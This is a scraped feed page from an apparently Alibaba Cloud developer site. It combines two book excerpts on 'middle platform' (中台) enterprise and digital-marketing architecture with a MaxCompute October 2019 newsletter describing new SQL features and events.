        一方面,数据中台可以在云厂商提供的运行机制和基础架构下,支撑企业新零售业务应用的标准化及快速定制化,同时为企业提供大数据数据采集、清洗、管理和分析能力,实现数据精细化运营。数据中台可以将企业内外割裂的数据进行汇聚、治理、建模加工,消除数据孤岛,实现数据资产化,为企业提供客户立体画像、商品智能推荐、业务实时监控,助力企业实现数据驱动业务。
        另一方面,业务中台不仅可以将原本不同系统相同功能的服务聚合起来,统一标准,统一规范,统一出口,实现企业业务的整合;还可以通过服务的聚合实现资源与能力共享,支撑新应用与新业务的快速开发与迭代,以满足快速变更的用户需求。通过数字中台构建的客户触点体系,可以帮助企业客户实现业务数据化、数据业务化,赋能企业智能化,全面实现数字营销。

        2.5 数字营销解决方案架构分析

        数字营销是以“技术+数据”为双驱动,帮助企业构建面向消费者的全面触达、交易、运营的营销数字化平台与服务。
        当前,中国数字营销解决方案的系统架构主要有三类:
        第一类是以阿里系生态为代表的基于中台架构的数字营销平台(如云徙),能支持企业线上使用,也支持私有云搭建,技术依赖于阿里等互联网巨头,主要面向大中型企业提供服务。
        第二类是纯SaaS服务,主要面向中小企业提供数字服务,如Salesforce、微盟、云徒等。
        第三类是以SAP、Oracle、用友等传统第三方软件厂商为代表推出的解决方案,主要是由原先的ERP延伸出来,其产品形态是软件或云服务,品牌业主可以在此软件上进行广告投放操作,主要面向中大型企业提供服务。
        后两类可以归集为SaaS数字营销云。

        2.5.1 基于中台、微服务架构的数字营销平台

        基于中台和微服务架构的数字营销平台整体架构如图2-3所示,平台主要分为3层。
        image.png

        图2-3 基于中台、微服务架构的云数字营销平台示意图

        1)IaaS层:即基础设施层,主要为计算、存储、网络能力提供支撑;可以是公有云、私有云或混合云。
        2)PaaS层:除传统的平台层外,创新性引入数字中台,中台采用微服务架构来构建,是整个平台的核心与基础,它包含业务中台和数据中台。业务中台是将企业常用的业务场景和功能抽象为共享服务中心或组件,建立核心数据模型和业务规则、逻辑,提供包括交易中心、促销中心、商品中心、会员中心、结算中心,库存中心、支付中心等在内的大多数共性服务,使得企业可以基于共享服务中心快速构筑营销应用。数据中台则是基于大数据中间件来搭建的轻量级大数据平台,主要实现数据的分层与水平解耦,通过数据建模实现跨域数据整合和知识沉淀,沉淀公共的数据能力,形成数据资产,通过数据服务实现对数据的封装和开放,快速、灵活满足上层应用的要求,通过数据开发工具满足个性化数据和应用的需要。
        3)SaaS层:即前端应用层,主要是针对营销涉及的营销、活动、交易、服务(售前、售中、售后)等提供各种各样的应用服务。

        2.5.2 SaaS数字营销云

        SaaS(Software-as-a-Service)是云计算时代的一种服务模式,本质来说是改变了以往软件的服务模式,免去了IT资源及软件购买、安装和部署的工作,而是采用直接租用,即通过互联网方式登录SaaS提供商平台直接使用。SaaS对企业的最大好处就是成本更低,相对于私有化部署每年在升级、扩容、维护方面花费的成本,SaaS每年相对固定的租金成本更加可控。另外,SaaS化服务方式一般通用性比较高,但企业选用SaaS服务时还会可能需要调整内部的流程来适应软件的方式。因此,国内使用SaaS的企业一般以中小规模为主,大企业由于其内部流程、管理的复杂性和个性化,要改变流程本身所花费的时间与成本更大,因此更愿意选择私有化定制。
        SaaS数字营销云,旨在为企业提供营销领域的集营销、交易、服务为一体的SaaS产品与服务。数字营销云包含以下几个产品:

        • 全域会员i-CDP(Customer Data Platform)。该产品将企业与消费者所有触点渠道打通,并在一个池子中统一管理;同时,提供等级、权益、积分等功能,为企业留住会员,增加忠诚度。
        • 营销智能i-Marketing。该产品主要解决会员的精准营销问题。通过自动化营销引擎,对目标用户组群提供一对一的营销推广,实现高转化。
        • 全渠道销售i-Commerce。该产品负责交易闭环,把线上、线下交易的场景做到体验无差别,目的是让消费者在起心动念的时候随时随地能完成交易。
        • 智能服务i-Service。这是一款客服产品,包含人工客服与智能机器人,为企业提供高效的服务平台,提升客户满意度。

        数字营销云是以业务+数据双中台为基础的,因此其本身也继承了双中台带来的好处。比如平台天然实现了人、货、场的数据融通,从商城中创建的优惠券促销,会自动流转到营销系统中,通过营销引擎推送到目标消费者。消费者所有的交易信息也会自动归集到会员档案中,提供更清晰的会员画像;性能上,中台的互联网架构也保证了数字营销云能够应对高并发的考验。
        一般来说,软件服务提供的价值分为几个层次:第一个层次是提高效率,例如电子笔记类;第二个层次是优化用户体验,比如电子审批,把线下流程线上化,不仅提高了效率,同时为使用者带来极大的体验提升。数字营销云属于另外一个层次,其为企业带来直接的商业利益,也即开源。所有的会员营销、交易或者提供的客服,都围绕着为企业带来更多的商机、更高的转化以及客单价展开。对于中小企业来说,提高效率并不急切,因为业务能跑起来;提升体验也并非刚需,因为流程本身还不够复杂;而为企业开源,是中小企业,甚至是大企业都十分看重和依赖的,也是最舍得投入的。这也是近年来营销领域的SaaS能够迅速发展的原因。而SaaS数字营销云兼备了双中台基础以及SaaS化的优点,形成推动企业业务的有效闭环,为企业提供独特的价值。

        2.6 面向营销的数字中台

        随着消费者消费行为的改变,企业线上线下渠道的融合,能更有效地服务终端消费者,提升消费者购物体验。而数字中台支撑是企业连接自己的用户(终端消费者和客户)、沉淀业务能力和数据能力、实现企业营销升级的关键。

        2.6.1 新中产阶层的消费转型

        随着新中产阶层的崛起,特别是以80后、90后为主流的消费群体,他们的消费行为已经发生了很大变化,具体有如下3个特点。
        1.个性化
        今天的消费者购买商品已经从短缺经济时代的必须型向喜欢型转型,他们越来越追求“自己的消费自己做主”。他们买一件衣服、一双鞋子,甚至一个杯子都不是因为缺少这些东西,更多的是因为喜欢,是这个商品所传递的某种属性打动了他们。他们不再跟风大众商品,更追求能展现个性的消费体验。
        2.碎片化
        移动互联网和智能手机的普及,使每个人平均每天在手机端花费的时间超过3小时。移动支付的快捷和“3公里30分钟”快递物流问题的解决,消费者每时每刻都能发起线上购物,购物时间已经完全碎片化。
        3.理性化
        根据《2018年中国移动互联网用户行为洞察报告》显示,78%的移动互联网用户在购物前会收集相关信息并进行多方对比。他们不相信广告,更相信口碑。84.5%的用户愿意花更多钱购买质量更好的产品。他们不盲目崇拜品牌,更关心商品本身的品质。他们更愿意为好的服务、好的品质、好的商品买单。

        2.6.2 企业经销渠道体系变革

        过去的几十年,线下经销渠道是企业实现销售至关重要的一环。一个企业的经销渠道下沉能力越强,他的获利能力也越强,几乎所有的品牌企业都通过全国总代理、省代理、区域代理等方式布局渠道。近几年随着淘宝、京东等电商平台的迅速崛起,传统渠道面临极大挑战。为了更好地满足消费者需求,企业渠道正在面临新一轮的变革。
        1.扁平化
        移动互联网的迅猛发展,用户已经很容易被触达,消费者关系的重建,去中间商趋势越来越明显。在传统的多层级渠道体系下,层层铺货,层次越多,效率越低。最近几年,很多新兴互联网快消品牌甚至放弃了地面渠道的建设,将商品放到淘宝、京东等第三方电商平台甚至自媒体上销售。中间商在整个商业链条中没有提供任何增值服务,理论上讲其就没有存在价值了,越来越多的商品会没有渠道商,商品从工厂直接到卖场、零售商,渠道变得越来越扁平化。
        2.线上线下融合
        根据格力电器2018年的年报,格力电器2018年总营收2000.24亿元。董明珠赢了2013年与雷军的“10亿赌约”。2013年年底他们打赌时,中国的移动互联网正处于高速发展时期,小米通过互联网营销手段,没有一家线下门店,将营收做到了200多亿元。而作为传统企业代表的董明珠对互联网营销不以为然,挺身而出跟小米雷军打赌,在当时形成了很大的新闻效应。
        5年后的今天,董明珠认为员工只有充分接触消费者,才能真正知道消费者的需求,于是率8万员工开微店,全面展开社交电商。董明珠本人更是亲自为格力代言,在实现格力品牌人格化的同时,她自己成了一个大网红。
        到2018年年底,小米之家的线下(直营和加盟)店超过了2000家,2013年小米手机都是在线上卖掉的,而2018年小米手机52%的销售额是在线下实现的。
        几年前,很多品牌企业不得不在京东、天猫上开店时,为了避免对线下渠道造成冲击,往往采取线上线下不同款型的方式。2014到2015年笔者调研的几个著名电器品牌企业就专门生产电商专供款来应对互联网浪潮。到今天,有些先进的企业率先实现了线上线下同款同价,甚至实现了线上下单、线下实体店就近配货,从而实现了从线上向线下导流。
        在今天来看,已经没有了5年前经典的格力线下模式或者小米线上模式,互联网已经变成一种基础设施。传统企业纷纷在线上渠道开设虚拟网店“触电”,同时电商企业也纷纷从线上走到线下,比如阿里的天猫小店、京东的京东实体店、小米的小米之家、三只松鼠的线下投食店等。企业都在进行渠道体系的融合,线上线下的融合。
        3.数据化
        “所有的生意都是数据生意”(“硅谷精神之父”凯文·凯利的商业预言),所有的渠道变化都建立在与消费者关系重建的基础上,无论我们从哪个渠道触达消费者,目的都是获得消费者的数据和连接,从而和消费者产生互动,在互动过程中精准了解消费者的诉求,最终有效满足消费者需求。
        渠道只有利用数据和工具,建立企业和消费者的关系,从用户获得、留存到为老用户提供增值服务产生复购,沉淀出可复用的数据,渠道才能产生价值。不能获得消费者数据并与消费者产生互动的渠道就没有价值,数据能力已经变成渠道的核心能力。

        2.6.3 数字中台支撑企业营销升级

        今天的企业,要更加敏捷、更加快速地适应瞬息万变的市场,实现从以产品为中心向以客户为中心的转变,就要在传统渠道和不断涌现的新媒体等多端上实现全覆盖。从而建立起企业从商品到客户之间的连接,包括品牌、市场、渠道、交易及服务的连接。
        企业与客户间所有的连接都应该基于同一平台去做,将连接过程中产生的数据沉淀和积累下来,实现数据资产化。最终通过对海量数据的清洗、治理和分析,洞察消费者特性,为企业提供客户立体画像、商品智能推荐,进而实现精准定位客户,助力企业实现数据驱动业务,实现数据精细化运营。
        建立一个全面服务化架构的数字中台, 依靠平台能力为各个前端输出统一的管理能力,帮助企业实现业务数据化、数据业务化,赋能企业智能化营销,将会成为传统大型企业全面数字化转型的最佳解决方案,甚至成为未来数字营销的主导方案。
        某知名企业开发了一款针对高端客户的健康产品,为了更好地服务客户,企业在中台上定制了相关前端应用,通过数据中台打通腕表记录的消费者每天走路、跑步等的运动数据,通过定制的App记录客户每天使用产品和饮食的情况,结合仪器测量收集客户的健康数据。通过收集到的大量运动和饮食数据,进行数据建模,分析出最佳运动和饮食方案,反馈到前端App上及时指导客户每天应该做多少运动、应该吃什么。企业通过腕表、App实时连接用户,收集和处理数据,并最终通过算法实现了智能的健康指导。企业在真实帮助客户实现健康愿望的同时,极大地提高了用户体验。

        ]]>
        阿里云MaxCompute 2019-10 月刊 Fri, 02 May 2025 09:39:04 +0800 您好,MaxCompute 2019.10月刊为您带来10月产品、技术最新动态,欢迎阅读。订阅 MaxCompute 月刊 >>


        导读

        【重要发布】10月产品重要发布

        【文档更新】10月重要文档更新

        【干货精选】10月精选技术文章

        【技术活动】活动回顾与预告


        【重要发布】10月产品重要发布

        1. 支持新运算符     查看详情 >>>

        支持新运算符,丰富MaxCompute计算场景,用户使用更加灵活。

        适用客户
        MaxCompute公共云客户

        发布功能
        1) IS [NOT] DISTINCT FROM:
        例如:a IS DISTINCT FROM b,相当于not(a<=>b);a IS NOt DISTINCT FROM b相当于 a<=>b
        2) A||B:字符串连接操作符(||) :
        例如:a||b||c 相当于concat(a, b, c)


        2. 支持自然连接NATURAL JOI     查看详情 >>>

        支持自然连接NATURAL JOIN,提升了MaxCompute SQL引擎的JOIN能力,用户操作更加灵活。

        适用客户
        MaxCompute公共云客户

        发布功能
        支持自然连接(Natural Join) 即参与JOIN的两张表根据字段名字自动决定连接字段。支持 outer natural join,支持使用using字段执行join,输出字段中公共字段只出现一次。例如:表src的字段(key1, key2, a1, a2),表src2的字段(key1, key2, b1, b2),SELECT * FROM src NATURAL JOIN src2; 由于 src 和 src2 有两个同名字段 (key1, key2) ,所以相当于:SELECT src.key1 as key1, src.key2 as key2, src.a1, src.a2, src2.b1, src2.b2 FROM src INNER JOIN src2 ON src.key1 = src2.key1 AND src.key2 = src2.key2;


        3. 支持LIMIT OFFSET     查看详情 >>>

        支持LIMIT OFFSET,MaxCompute SQL引擎能力提升,用户操作更加灵活。

        适用客户
        MaxCompute公共云客户

        发布功能
        OFFSET 和 ORDER BY LIMIT语句配合,可以指定跳过OFFSET数目的行。例如:SELECT * FROM src ORDER BY key LIMIT 20 OFFSET 10;将 src 按照 key从小到大排序后,输出第11到第30行 (OFFSET 10 指定跳过前10行,LIMIT 20 指定最多输出20行)


        4. 新增内置函数JSON_TUPLE和EXTRACT     查看详情 >>>

        新增内置函数JSON_TUPLE和EXTRACT,MaxCompute SQL引擎能力提升,用户操作更加灵活。

        适用客户
        MaxCompute公共云客户

        发布功能
        新增字符串函数JSON_TUPLE、日期函数EXTRACT。格式说明:STRING JSON_TUPLE(STRING json,STRING key1,STRING key2,...),用于一个标准的JSON字符串中,按照输入的一组键(key1,key2,...)抽取各个键指定的字符串。INT EXTRACT( from ),提取日期的一部分。


        5. JOIN与SETOP支持括号指定优先级     查看详情 >>>

        JOIN与SETOP支持括号指定优先级,MaxCompute SQL引擎能力提升,客户操作更加灵活。

        适用客户
        MaxCompute公共云客户

        发布功能
        支持通过括号指定JOIN的优先级,括号内的JOIN优先级较高。如下JOIN语句中,先执行src2 JOIN src3得出结果后再执行与src的JOIN。例如:SELECT * FROM src JOIN (src2 JOIN src3 on xxx) ON yyy;


        6. MaxCompute支持分区合并     查看详情 >>>

        MaxCompute 有分区数量上限6万的限制,当分区数量过多时,可使用合并分区功能,对数仓数据进行归档。

        适用客户
        MaxCompute公共云客户

        发布功能
        MaxCompute支持合并分区,对数仓数据进行归档,将同一个表下多个分区数据快速合并成一个分区, 并删除之前分区, 把数据移动到指定的分区下。


        7. MaxCompute支持VPC网络IP白名单设置     查看详情 >>>

        MaxCompute支持VPC网络IP白名单设置,客户安全管理更加灵活。

        适用客户
        MaxCompute公共云客户

        发布功能
        MaxCompute支持VPC网络IP白名单设置。


        8. 新增flag支持只grouy by / order by 字段序号,而不用写字段名     查看详情 >>>

        新增flag支持只grouy by / order by 字段序号,而不用写字段名,SQL语法更丰富,书写更灵活。

        适用客户
        MaxCompute公共云客户

        发布功能
        1) 当sql语句set flagset hive.groupby.position.alias=true;时,GROUP BY 中的整形常量会被当做select的列序号处理。示例:set hive.groupby.position.alias=true; select region, sum(total_price) from sale_detail group by 1;(常量1代表select的列中第一列即region);
        2) 当sql语句set flagset hive.orderby.position.alias=true;时,ORDER BY 中的整形常量会被当做select的列序号处理。例如:表src的列为(key BIGINT,value BIGINT) SELECT FROM src ORDER BY 2 limit 100; 等同于SELECT FROM src ORDER BY value limit 100。


        9. 支持一次增加或删除多个分区     查看详情 >>>

        支持一次增加或删除多个分区,使客户对分区管理更加灵活。

        适用客户
        MaxCompute公共云客户

        发布功能
        MaxCompute的DDL语义升级,支持一次增加或删除多个分区的操作,用户可执行批量的分区管理操作,提升了数仓管理操作的效率。


        10. 支持指定表的列默认值     查看详情 >>>

        支持指定表的列默认值,提升了MaxCompute DDL的能力,用户操作更加灵活。

        适用客户
        MaxCompute公共云客户

        发布功能
        DEFAULT value 指定列的默认值,当insert操作不指定该列时,该列写入默认值。[(col_name data_type [DEFAULT value] [COMMENT col_comment], ...)]

        【文档更新】10月重要文档更新     更多文档 >>>

        1. 新增Hive迁移到MaxCompute最佳实践视频
        2. 新增成本优化最佳实践
        3. 新增PyODPS示例 PyDOPS的排序 > PyODPS的去重 > PyODPS的采样 > PyODPS的数据缩放 > PyODPS的空值处理 >
        4. 新增支持VPC网络IP白名单设置 项目空间操作 > 设置IP白名单 >

        【干货精选】10月精选技术文章     更多详情 >>>

        1. 最全合集】[一文看尽 2019杭州云栖大会 MaxCompute 技术分享
        2. 如何有效降低大数据平台安全风险
        3. 丰富、连接、待集成—MaxCompute 生态再出发
        4. 混合云模式下 MaxCompute + Hadoop 混搭大数据架构实践
        5. 阿里巴巴大数据技术关键进展及展望

        【技术活动】回顾和预告

        【双11】MaxCompute 限时折扣,预付费标准版年付8折。活动时间:11月1日-11月11日

        活动回顾

        《技术直播 kafka 数据如何同步到 MaxCompute 》2019.10.22 19:00-19:40

        <直播简介> 主要介绍Kafka产品的原理和使用方式,以及同步数据到MaxCompute的参数介绍、独享集成资源组与自定义资源组的使用背景和配置方式、Kafka同步数据到MaxCompute的开发到生产的整体部署操作等内容。

        视频回放 >>>
        分享资料下载 >>>

        《Hadoop 数据如何同步至 MaxCompute》 2019.10.29 19:00-19:40

        <直播简介> **云下Hadoop用户如何快速、平滑的迁移到阿里云MaxComute大数据生态?如何快速完成数据和业务的迁移以及生态系统的对接?MaxCompute提供了数据迁移工具-MMA,支持Meta、数据、作业和工作流的批量自动化迁移,帮助客户高效、低成本的上云,快速构建云上业务。

        视频回放 >>>
        分享资料下载 >>>

        活动预告

        《MySQL/RDS 数据如何同步到 MaxCompute》 2019.11.5 19:00-19:40

        【直播简介】主要讲解MySQL/RDS业务数据如何通过DataWorks数据集成或DTS同步到MaxCompute。
        【观看直播】MaxCompute开发者社区2群


        《日志数据如何同步到 MaxCompute》 2019.11.12 19:00-19:40

        【直播简介】主要讲解日志文件如何通过Loghub/Datahub同步数据到MaxCompute的参数介绍和详细同步过程等内容。
        【观看直播】MaxCompute开发者社区2群

        点击链接加入 MaxCompute开发者社区2群 https://h5.dingtalk.com/invite-page/index.html?bizSource=____source____&corpId=dingb682fb31ec15e09f35c2f4657eb6378f&inviterUid=E3F28CD2308408A8&encodeDeptId=0054DC2B53AFE745
        或扫码加入
        image

        ]]>
        带你读《中台战略:中台建设与数字商业》之四:全面解读中台 Fri, 02 May 2025 09:39:04 +0800 点击查看前言
        点击查看第一章
        点击查看第二章
        第3章

        全面解读中台

        中台,通过对业务、数据和技术的抽象,对服务能力进行复用,构建了企业级的服务能力,消除了企业内部各业务部门、各分子公司间的壁垒,适应了企业,特别是大型企业集团业务多元化的发展战略。基于中台,可快速构建面向最终消费者和客户的前台应用,从而满足各种个性化特征的前台需求,为企业的数字化转型提供明确的道路。

        3.1 什么是中台

        那么中台到底是什么?中台是一个新的概念,但却是一个旧有的名词,在新时期我们赋予其新的内涵。本节介绍中台的历史起源,以及数字化时代中台在企业信息化建设中的表现和作用。

        3.1.1 中台的源起

        在中国古代东汉时期,尚书台成为政府的中枢,号称中台。唐朝所完善的三省六部制,以门下省为西台,中书省为东台,也将尚书省称为中台。尚书省作为执行机构,辖吏、户、礼、兵、刑、工六部,如图3-1所示。
        image.png

        图3-1 中国古代官场的“中台”架构

        在一个投资银行的组织结构中,前台(Front Office)是与客户(无论是个人客户还是公司客户)直接互动的岗位,诸如大堂经理、客户经理、柜员等。中台(Middle Office)是指直接支援前台工作的所有人员,使用前台或后台的资源,为前台提供专业性的管理和指导,并进行风险控制,比如风险管理、合规应对、财务管控以及IT服务等。后台(Back Office)指幕后的职能岗位,行使管理职能,比如结算、清算、会计、人力资源等。
        位于芬兰的著名移动游戏公司Supercell以小前台的方式组织了若干个开发团队。每个团队包含了开发一款游戏所需的各种角色。这样各个团队可以快速决策、快速开发。而基础设施、游戏引擎、内部开发工具和平台则由类似“部落”的部门提供。“部落”可以根据需要扩展为多个小分队,但各个小分队都保持共同的目标。“部落”本身并不提供游戏给消费者。
        2015年的阿里巴巴已拥有规模庞大的个人会员和企业会员,业务种类纷繁复杂,业务之间交叉依赖,业务团队众多,不能及时响应业务的要求。因此当年12月,时任阿里巴巴集团CEO的张勇通过内部邮件宣布启动阿里巴巴2018年中台战略,构建符合DT时代的更具创新性和灵活性的“大中台,小前台”的组织机制和业务机制,实现管理模式创新。即将产品技术力量和数据运营能力从前台剥离,成为独立的中台,包括搜索事业部、共享业务事业部、数据平台事业部等,为前台即零售电商事业群提供服务。从而前台得到精简,保持足够的敏捷度,更好地满足业务发展和创新需求。
        2017年5月出版的《企业IT架构转型之道:阿里巴巴中台战略思想和架构实战》详细阐述了业务中台是介于前台与后台之间的。其采用共享的方式建设,解决了以往烟囱式和单体式架构设计的重复开发、数据分散、试错成本高等问题。书中列举了建设业务中台的一些原则:高内聚低耦合、数据完整性、可运营性、渐进性等。此书的出版推动了中台思想的发展和中台的建设。
        之后,很多互联网公司快速跟进中台。滴滴出行在2017年12月分享了《如何构建滴滴出行业务中台》。滴滴出行在前端业务上形成了出租车、快车、专车、代驾等多业务共同发展的业态。虽然各业务的应用场景不同,但所有业务本质都是出行,交易流程是相同的。如果各业务独立发展,则业务间缺少协同性。
        京东在2018年12月宣布采用前台、中台和后台的组织架构。前台职能是理解和洞察客户需求和行为,通过产品创新和精细化运营服务客户,最终实现和提升客户价值。中台通过沉淀、迭代和组件化地输出服务于前台不同场景的通用能力,作为为前台业务运营和创新提供专业能力的共享平台。后台职能则提供基础设施建设、服务支持与风险管控,为中、前台提供保障。

        3.1.2 从组织管理和技术系统角度看中台

        中台可以作为一种企业组织管理模式和理念(Middle Office)。不过从技术系统角度看,中台也可以作为一种新型的企业IT设施架构(Middle Platform)。此外,为建设中台系统,有些企业会成立专门的中台技术团队来整体负责、实现和运营。因此作为组织管理模式的中台和中台系统这两者并不是完全分开的。
        中台化的组织方式就是在公司内部构建统一的协同平台。一方面,可以让各业务部门保持相对的独立和分权,保证对业务的敏感性和创新性;另一方面,用一个强大的平台来对这些部门进行总协调和支持,平衡集权与分权,并为新业务、新部门提供生长空间,从而大幅降低组织变革的成本。中台部门提炼各业务线的共性需求,最大程度减少重复“造轮子”。
        从技术系统层面看,中台是企业级共享服务平台。传统的IT系统或套件没有太多关注系统能力的复用和共享,因此企业在多年的信息化过程中引入和建设了多套具有重复功能的烟囱型系统。而中台则要求对能力进行细粒度分析,识别共享能力,并将共享能力建设成为统一的平台。因此中台不是单系统的服务化。
        综上所述,中台是能力的枢纽和对能力的共享。中台是在集中的基础上建设分权的业务,进行联通,并为各业务提供统一的服务。因此一切将企业的各式各样的资源转化为易于前台使用的能力,为企业进行“以用户为中心”的数字化转型服务的平台,都是中台。但要注意,与此思想相匹配所建设的中台团队并不能当作资源共享团队。中台团队关注的是如何形成基础服务,为前台团队建设业务应用提供便利。因此中台要实现平台逻辑与业务逻辑的分离,并隔离不同前台业务。
        另外,中台不是微服务,因为中台不仅是一种技术架构,还是企业进行数字化转型的整体参考架构。不过从技术角度,可以认为微服务是建设中台的最佳实践。微服务是将J2EE时代的单体架构拆分为多个提供微服务的技术架构。微服务将相关联的业务逻辑及数据放在一起形成独立的边界。各个微服务之间通过标准的协议,比如HTTP RESTful风格进行通信访问。各个微服务间是松耦合的。不同的微服务开发团队理论上可以使用不同的技术栈来实现微服务而无须强求一致。另外,微服务所需的数据存储一般都由单独的数据库实例或数据库模式隔离,数据的交互只能通过接口或消息实现,而不能在数据库层直接访问另一个微服务的数据。微服务强调接口的隔离原则,通过接口封装。由于微服务可单独部署,因此可根据需要对所需的微服务进行扩缩容,无须针对整个系统,从而使系统的伸缩性更灵活,更能应对大流量并发场景,比如秒杀。微服务拥有与生俱来的独立开发、独立部署、独立发布特性,支持高并发高可用,以及去中心化管理等优点。但由于微服务是分布式编程,提高了开发、调试、部署、运维等的难度,增加了服务管理的复杂度,且需要重新设计原先由单一数据库保证的原子性等。虽然微服务对开发团队提出了更高的要求,但是它促进了研发团队的一体化运维能力,从而改变了企业的研发组织架构。

        3.2 中台系统及其展现形式

        中台是数字化转型下重构企业IT基础设施的最佳实践。那么,怎么理解中台是企业级共享服务平台?我们先来看看中台的起源地—阿里巴巴建设中台的驱动力和成果。
        2008年的阿里巴巴集团由于内部部门之间的隔离、业务目标相对不一致,淘宝和淘宝商城(即现今的天猫)是作为两套独立的系统分别建设的,即是两套独立的烟囱型系统。但二者的基础业务都是电商交易,因此基本功能是类似的,包括商品、交易、支付、评价、物流、积分、论坛等功能。由于系统间的隔离,虽然商城的流量和交易持续走低,却无法将淘宝的流量引流到淘宝商城。因此,两个业务部门商量如何打通两个电商平台,从而成立了共享业务事业部,着手进行内部称为“五彩石”的项目。“五彩石”项目的成果,即现在称为“中台”的各共享业务服务中心,这为后续天猫的快速发展奠定了坚实的基础。中台整合了阿里巴巴集团的产品技术能力和运营数据能力,对各前台业务形成了强有力的支撑。后续上线的聚划算、1688等均得益于中台的建设。
        由此可以看到,企业在信息化建设过程中,不同业务部门基于本部门的业务需求提出了相对独立的方案。IT部门为满足不同业务部门的不同业务需求(有时甚至是相互冲突的),搭建了纷繁复杂且部分功能重复的烟囱式系统。烟囱式系统的建设不仅带来了功能的重复建设,还带来了重复维护,导致企业的重复投资。此外,为了打通烟囱式系统,还需要专门设计第三方集成方案或引入企业服务总线(ESB)的概念,集成和协作成本高昂。因此,在建设和引入新的系统时,虽然各部门根据自己的业务需求构建了定制化的最优解决方案,但这些方案可能只是局部最优;如果从公司整体来看,不一定是全局最佳的解决方案。所以,构建系统如果不从全局出发,不进行现有系统的改造升级、重复利用,那么只能是在旧有的复杂性上再次引入新的复杂性,导致系统越建越复杂,而效率却越来越低。
        既然我们强调中台是能力的复用,那么在建设新系统或业务应用时,可复用的能力具体是以什么样的形式提供的呢?在程序设计中,函数是将一段经常使用的代码封装起来,然后在需要使用时直接调用。使用函数体现了程序设计模块化的指导思想,即将大问题分解为小问题,通过解决小问题来解决大问题。其次,函数的使用大大减少了重复编写程序段的工作量。相关的通用函数集,可以编译成动态链接库及类库,这再次提升了复用的可能。既然我们可以使用函数、类库的方式将一些可复用的功能封装起来,那是不是也可以将可复用的功能作为服务提供?以服务的方式提供共享能力的平台就是中台。中台是比函数和类库更高一层次的复用封装(见图3-2),从而更好地服务于业务。
        image.png

        图3-2 共享的三个层次

        3.3 中台的作用

        中台应该包含哪些内容呢?什么应该包括在中台里?什么不应该放在中台里?中台与企业现有的ERP、CRM是什么关系?如果建设了中台,中台应当如何发挥作用,而不是又让企业陷入建设另一套IT系统的老路?

        3.3.1 中台的分类

        中台是从多个相似的前台业务应用共享的需求中产生的,因此最先提出的中台是业务中台。数据是从业务系统产生的,而业务系统也需要数据分析的结果,那么是否可以把业务系统的数据存储和计算能力抽离,由单独的数据处理平台提供存储和计算能力?这样不仅可以简化业务系统的复杂性,还可以让各个系统采用更合适的技术,专注做本身擅长的事。这个专用的数据处理平台即数据中台。

        3.3.2 业务中台定义及建设内容

        业务中台是阿里巴巴首先提出的企业IT架构的转型之道。站在阿里巴巴集团全局的角度看,业务中台是从整体战略、业务支撑、连接消费者和业务创新等方面进行统筹规划的。因此业务中台内含了阿里巴巴电商交易的主营业务。业务中台更多关注的是如何支撑在线业务。阿里巴巴一开始将淘宝作为平台方连接商家和消费者,进行电商交易活动,随之发展出淘宝商城,即后来的天猫。天猫本质上还是电商交易平台。既然都是电商交易平台,就都涉及售前、售中和售后的业务流程。
        业务中台围绕以交易为核心关联的领域组成。交易的对象是商品,商品通过店铺售卖给会员,交易的凭证是订单,在线交易需要支付,成单后需要货品出库和物流派送等,售前需要营销促销活动吸引流量并加强转化,售后用户会对店铺、商品进行评价等。由此可见,典型的业务中台由多个业务服务中心组成,如
        图3-3所示。
        会员中心服务于用户的消费全生命周期,为用户提供特定的权益和服务,企业可以通过会员中心与用户进行互动,培养用户忠诚度。其主要能力包括:

        • 会员运营管理:包括会员注册、个人信息维护、会员注销、会员卡办理等相关能力。
        • 会员体系管理:包括会员体系的创建、积分规则、成长值规则、等级、权益等相关能力。
        • 客户服务管理:包括客户的新增、导入、查询等相关能力。
        • 积分交易管理:包括积分获取、核销、清零、冻结、兑换等相关能力。

        image.png

        图3-3 一个典型的由服务中心组成的业务中台

        商品中心提供管理商品核心数据的能力,围绕商品构建商品关联数据,诸如商品版本信息、商品品牌、商品属性、商品类目等。其主要能力有:

        • 品牌、类目、属性管理:包括对商品品牌的维护、查询,前后端类目的维护,属性及属性组管理等相关能力。
        • 产品数据管理:包括对产品模板的创建、编辑、查询、禁用等相关能力。
        • 商品数据管理:包括商品创建、修改、查询等相关能力。
        • 商品发布管理:包括商品发布、上下架(即时+定时)等相关能力。
          交易中心负责企业业务交易订单的整体生命周期管理,包括加入购物车→订单生成→合并分拆→流转→支付→发货→退换货→完成。所有电商业务的核心系统都是围绕交易订单进行构建的。其主要能力包括:
        • 购物车管理:包括购物车商品添加、编辑、查询、校验等相关能力。
        • 正向交易管理:包括交易订单生成、发起支付交易订单、商品发货管理、上门自提及核销等相关能力。
        • 逆向交易管理:包括换货、退货、退款等相关能力。
        • 订单数据管理:包括交易订单、支付记录、发货记录、换货记录、退款记录等数据管理能力。
        • 交易流程编排:支持交易流程节点的配置化,便于根据业务场景的不同设置与之匹配的流程。
          评价中心提供对评价主体对象、评价规则/等级、评价内容、评价操作的管理能力,从而满足不同角色的评价用户对评价内容的发布、追加、平台审核、平台申诉等需求。主要能力包括:
        • 评价内容管理:包括管理评价的主体对象、评价规则配置、评价等级、评价标签配置等相关能力。
        • 评价操作能力:包括评价的发布、修改、追加、回复、申诉等相关能力。
        • 评价监管能力:包括评价发布审核、申诉审核、评价屏蔽等监管相关能力。
          店铺中心提供企业店铺主体管理、店铺管理、类型管理、经营对象管理等能力以支持企业为商户提供线上门店,同时也支持商户管理、店铺会员、店铺会员等级管理、店铺装修等。其主要能力包括:
        • 商户管理:包括商户单个、批量开通,商户审核,商户基本信息维护等相关能力。
        • 店铺管理:包括店铺开通、店铺基本信息维护、店铺审核、店铺会员等相关能力。
          支付中心给下游商户输出标准的支付服务,提供代付代收、财务对账等服务。通过对接多个主流渠道,稳定输出微信、支付宝、银联等支付能力。其主要能力包括:
        • 支付能力:包括创建支付订单、接收渠道通知、查询渠道订单等基本支付能力。
        • 支付路由:包括支付渠道管理、支付方式管理、支付商户和应用开通管理等相关能力。
        • 资金账户:包括资金账户管理、充值维护、提现等相关能力。
          营销中心提供商家的活动计划、申报、审批、执行、核销的全链路管理,也提供基本的促销能力,如优惠券活动、满减买赠等。其主要能力包括:
        • 活动模板管理:包括提供营销活动的策略模板、规则配置、条件、动作模板等相关能力。
        • 活动管理:包括提供具体活动的基本信息配置、人群圈选、商品管理、触发条件等相关能力。
        • 优惠券管理:包括优惠券的发放、领取、查询、使用核销等相关能力。
        • 赠品管理:对于满赠、买赠活动,提供赠品维护、查询、启用、禁用等相关能力。
